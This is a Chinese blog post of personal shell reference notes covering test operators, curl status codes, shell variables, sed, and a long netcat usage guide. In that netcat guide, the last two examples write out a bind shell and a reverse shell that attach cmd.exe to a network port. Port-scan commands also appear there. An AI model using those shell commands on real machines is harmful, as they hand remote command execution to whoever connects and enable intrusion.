zoukankan      html  css  js  c++  java
  • shell基础

    注:因shell不是经常写,所以写的时候有些细节会想不起来,特在此处记录一些shell基础语法

    1.比较

    -ne —比较两个参数是否不相等 
    -lt —参数1是否小于参数2 
    -le —参数1是否小于等于参数2 
    -gt —参数1是否大于参数2 
    -ge —参数1是否大于等于参数2 
    -f  —检查某文件是否存在(例如,if [ -f "filename" ]) 
    -d  —检查目录是否存在 
    -z -判断该变量是否为空
    -n -判断变量是否为非空
    -r -判断指定的文件是否存在且有读权限
    -w -判断指定的文件是否存在且有写权限
    -x -判断指定的文件是否存在且有执行权限

     2.判断变量值是否包含某个字符串

    str="this is a string"
    要想在判断str中是否含有"this"这个字符串,下面的语句是可行的
    [[ $str =~ "this" ]] && echo "$str contains this" 

     3.创建到目标主机的持久化连接

    ssh -MNf <user>@<host>

    在后台创建到目标主机的持久化连接,将这个命令和你~/.ssh/config中的配置结合使用:

    Host host
    ControlPath ~/.ssh/master-%r@%h:%p
    ControlMaster no

    所有到目标主机的SSH连接都将使用持久化SSH套接字,如果你使用SSH定期同步文件(使用rsync/sftp/cvs/svn),这个命令将非常有用,因为每次打开一个SSH连接时不会创建新的套接字。

     4.Curl http_code 状态码 意义及信息

    shell命令:
    curl -I -m 10 -o /dev/null -s -w %{http_code} http://test.com -->网站可用性
    curl -s -o /dev/null -w %{time_total} www.baidu.com -->网站响应速度
    curl爬取过程中,会返回一个http_code,下面是他们的意义信息
    $http_code["0"]="Unable to access";
    $http_code["100"]="Continue";
    $http_code["101"]="Switching Protocols";
    $http_code["200"]=”OK”;
    $http_code["201"]=”Created”;
    $http_code["202"]=”Accepted”;
    $http_code["203"]=”Non-Authoritative Information”;
    $http_code["204"]=”No Content”;
    $http_code["205"]=”Reset Content”;
    $http_code["206"]=”Partial Content”;
    $http_code["300"]=”Multiple Choices”;
    $http_code["301"]=”Moved Permanently”;
    $http_code["302"]=”Found”;
    $http_code["303"]=”See Other”;
    $http_code["304"]=”Not Modified”;
    $http_code["305"]=”Use Proxy”;
    $http_code["306"]=”(Unused)”;
    $http_code["307"]=”Temporary Redirect”;
    $http_code["400"]=”Bad Request”;
    $http_code["401"]=”Unauthorized”;
    $http_code["402"]=”Payment Required”;
    $http_code["403"]=”Forbidden”;
    $http_code["404"]=”Not Found”;
    $http_code["405"]=”Method Not Allowed”;
    $http_code["406"]=”Not Acceptable”;
    $http_code["407"]=”Proxy Authentication Required”;
    $http_code["408"]=”Request Timeout”;
    $http_code["409"]=”Conflict”;
    $http_code["410"]=”Gone”;
    $http_code["411"]=”Length Required”;
    $http_code["412"]=”Precondition Failed”;
    $http_code["413"]=”Request Entity Too Large”;
    $http_code["414"]=”Request-URI Too Long”;
    $http_code["415"]=”Unsupported Media Type”;
    $http_code["416"]=”Requested Range Not Satisfiable”;
    $http_code["417"]=”Expectation Failed”;
    $http_code["500"]=”Internal Server Error”;
    $http_code["501"]=”Not Implemented”;
    $http_code["502"]=”Bad Gateway”;
    $http_code["503"]=”Service Unavailable”;
    $http_code["504"]=”Gateway Timeout”;
    $http_code["505"]=”HTTP Version Not Supported”;

     5.test

    基本格式:
    test expression
    
    expression为test命令构造的表达式。
    这里expression是test命令可以理解的任何有效表达式,该简化格式将是读者可能会踫见的最常用格式
    返回值:
    test命令或者返回0(真) 或者返回1(假).
    
    test可理解的表达式类型分为四类:
    
        表达式判断
        字符串比较
        数字比较
        文件比较
    1)判断表达式
    
    if test  (表达式为真)
    if test !表达式为假
    test 表达式1 –a 表达式 2                两个表达式都为真
    test 表达式1 –o 表达式2                 两个表达式有一个为真
    
     
    
    2)判断字符串
    
    test –n 字符串                          字符串的长度非零
    test –z 字符串                           字符串的长度为零
    test 字符串1=字符串 2          字符串相等
    test 字符串1 !=字符串2         字符串不等
    
     
    
    3)判断整数
    
    test 整数1 –eq 整数2                       整数相等
    test 整数 1 –ge 整数2                      整数1大于等于整数2
    test 整数1 –gt 整数 2                       整数1大于整数2
    test 整数1 –le 整数 2                       整数1小于等于整数2
    test 整数1 –lt 整数 2                         整数1小于整数2
    test 整数1 –ne 整数 2                      整数1不等于整数2
    
     
    4)判断文件
    
    test  File1 –ef  File2                            两个文件具有同样的设备号和i结点号
    test  File1 –nt  File2                            文件1比文件2 新
    test  File1 –ot  File2                            文件1比文件2 旧
    test –b File            文件存在并且是块设备文件
    test –c File            文件存在并且是字符设备文件
    test –d File            文件存在并且是目录
    test –e File            文件存在
    test –f File            文件存在并且是正规文件
    test –g File            文件存在并且是设置了组ID
    test –G File            文件存在并且属于有效组ID
    test –h File            文件存在并且是一个符号链接(同-L)
    test –k File             文件存在并且设置了sticky位
    test –b File            文件存在并且是块设备文件
    test –L File            文件存在并且是一个符号链接(同-h)
    test –o File            文件存在并且属于有效用户ID
    test –p File            文件存在并且是一个命名管道
    test –r File            文件存在并且可读
    test –s File            文件存在并且是一个套接字
    test –t FD                文件描述符是在一个终端打开的
    test –u File            文件存在并且设置了它的set-user-id位
    test –w File            文件存在并且可写
    test –x File            文件存在并且可执行
    
    test xxx 可以简写成 [  xxx  ] 的形式。
    
    注意:在使用"["简写test时,左中括号后面的空格和右括号前面的空格是必需的,如果没有空格,Shell不可能辨别表达式何时开始何时结束.
    
    也就是说
    
        test option file
    
    可以全部改写成:
    
        [ option file ]
    
    例如:
    
     test –w File
     
    改写成    
    
    [ –w File ]    
    
    【示例】
    
    //判断第一个参数是否为空字符串,不空则打印
    if test -n "$1"
    then
    echo "$1"
    fi
    
    测试,放到文件当中
    #!/bin/sh
    
    if test -n "$1"
    then
    echo "$1"
    fi
    
    执行
    chmod +x test.sh
    ./test.sh www.linuxpig.com

    6.shell运算保留两位小数

    用bc:
    [root@myserver01 http]# a=`echo "scale=2;10/3"|bc`;echo $a
    3.33

    [root@myserver01 ~]# a=3
    [root@myserver01 ~]# b=10
    [root@myserver01 ~]# awk 'BEGIN{printf "%.2f%
    ",('$b'/'$a')*100}'
    333.33%

     7. nc命令使用详解

    功能说明:功能强大的网络工具
    语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
    参 数:
     -g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
     -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
     -h  在线帮助。
     -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
     -l  使用监听模式,管控传入的资料。
     -n  直接使用IP地址,而不通过域名服务器。
     -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
     -p<通信端口> 设置本地主机使用的通信端口。
     -r  乱数指定本地与远端主机的通信端口。
     -s<来源位址> 设置本地主机送出数据包的IP地址。
     -u  使用UDP传输协议。
     -v 详细输出--用两个-v可得到更详细的内容
     -w<超时秒数> 设置等待连线的时间。
      -z  使用0输入/输出模式,只在扫描通信端口时使用。
     
    nc使用示例
     
    1. 端口扫描
    # nc -v -w 2 192.168.2.34 -z 21-24
    nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
    Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
    nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
    nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
     
    2. 从192.168.2.33拷贝文件到192.168.2.34
    在192.168.2.34上: nc -l 1234 > test.txt
    在192.168.2.33上: nc 192.168.2.34 < test.txt
     
    3. 简单聊天工具
    在192.168.2.34上: nc -l 1234
    在192.168.2.33上: nc 192.168.2.34 1234
    这样,双方就可以相互交流了。使用ctrl+C(或D)退出。
     
    4. 用nc命令操作memcached
    1)存储数据:printf“set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
    2)获取数据:printf“get keyrn” |nc 192.168.2.34 11211
    3)删除数据:printf“delete keyrn” |nc 192.168.2.34 11211
    4)查看状态:printf“statsrn” |nc 192.168.2.34 11211
    5)模拟top命令查看状态:watch“echo stats” |nc 192.168.2.34 11211
    6)清空缓存:printf“flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了缓存就没了)
     
    5. nc -p 1234 -w 5 host.example.com 80
    建立从本地1234端口到host.example.com的80端口连接,5秒超时
    nc -u host.example.com 53
    u为UDP连接
     
    6. echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
    连接到主机并执行
     
    7. nc -v -z host.example.com 70-80
    扫描端口(70到80),可指定范围。-v输出详细信息。
     
     
    8. 远程拷贝文件
    从server1拷贝文件到server2上。需要先在server2上,用nc激活监听,
     
    server2上运行:
     
    root@hatest2 tmp]# nc -lp 1234 > install.log
     
    server1上运行:
     
    [root@hatest1 ~]# ll install.log
    -rw-r–r–  1 root root 39693 12月 20  2007 install.log
    [root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
     
    9. 克隆硬盘或分区
    操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
    克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作:
    # nc -l -p 1234 | dd of=/dev/sda
     
    server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:
    # dd if=/dev/sda | nc 192.168.228.222 1234
     
    ※完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。
     
     
     
    10. 保存Web页面
    # while true; do nc -l -p 80 -q 1 < somepage.html; done
     
    11. 模拟HTTP Headers,获取网页源代码和返回头部信息
     
    [root@hatest1 ~]# nc 80
    GET / HTTP/1.1
    Host: ispconfig.org
    Referrer: mypage.com
    User-Agent: my-browser
     
    HTTP/1.1 200 OK
    Date: Tue, 16 Dec 2008 07:23:24 GMT
    Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
    Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
    Expires: 0
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Cache-Control: private, post-check=0, pre-check=0, max-age=0
    Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
    Vary: Accept-Encoding
    Transfer-Encoding: chunked
    Content-Type: text/html
    [......]
    在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。
     
     
    12. 传输目录
    从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:
    引用
     
    [root@hatest2 tmp]# nc -l 1234 |tar xzvf -
    server1上运行:
    引用
     
    [root@hatest1 ~]# ll -d nginx-0.6.34
    drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
    [root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 1234
     
     
    13.REMOTE主机绑定SHELL
    例子:
     
    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
    讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
     
     
    14.REMOTE主机绑定SHELL并反向连接
    例子:
     
    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
    讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
    以上为最基本的几种用法(其实NC的用法还有很多,
    当配合管道命令"|"与重定向命令"<"">"等等命令功能更强大......)。

     8.linux ping

     9.shell变量$#,$@,$0,$1,$2的含义解释

    linux中shell变量$#,$@,$0,$1,$2,$#的含义解释: 
    变量说明: 
    $$ 
    Shell本身的PID(ProcessID) 
    $! 
    Shell最后运行的后台Process的PID 
    $? 
    最后运行的命令的结束代码(返回值) 
    $- 
    使用Set命令设定的Flag一览 
    $* 
    所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 
    $@ 
    所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2""$n" 的形式输出所有参数。 
    $# 
    添加到Shell的参数个数 
    $0 
    Shell本身的文件名 
    $1~$n 
    添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 
    $#
    传入脚本的参数个数,或者传入函数的参数个数

     10.使用sed删除文件的内容

    a.删除文件第三行

    sed -i '3d' file.txt

    b.删除文件中包含"NewBalance"的那行

    sed -i '/NewBalance/d' file.txt

     c.删除file.txt的1~3行

    sed -i '1,3d' file.txt

    d.删除file.txt第4行及之后的所有行

    sed -i '4,$d' file.txt

    $表示文件的最后一行

    11.判断变量是否为数字

    [ -n "`echo $c|sed 's/[0-9]//g'`" ] && echo 111

    ...

  • 相关阅读:
    Easily Get NonARC Enabled Open Source Libraries Working In ARC Enabled Projects
    PhoneGap From Scratch (2) : Device APIs
    PhoneGap From Scratch (3) : App Template
    iOS 5 Storyboard and UITableViews Tutorial
    PhoneGap From Scratch (4) : Twitter & Maps
    [原创] Learning in Python:Chapter 5 Numeric Types
    [原创] 程序员面试宝典:第十三章 数据结构基础
    [原创] Learning in Python:Chapter 4 Introducing Python Object Types
    [原创] 程序员面试宝典:第十章 面向对象
    [原创] 程序员面试宝典:第七章 指针与引用
  • 原文地址:https://www.cnblogs.com/vijayfly/p/5973949.html
Copyright © 2011-2022 走看看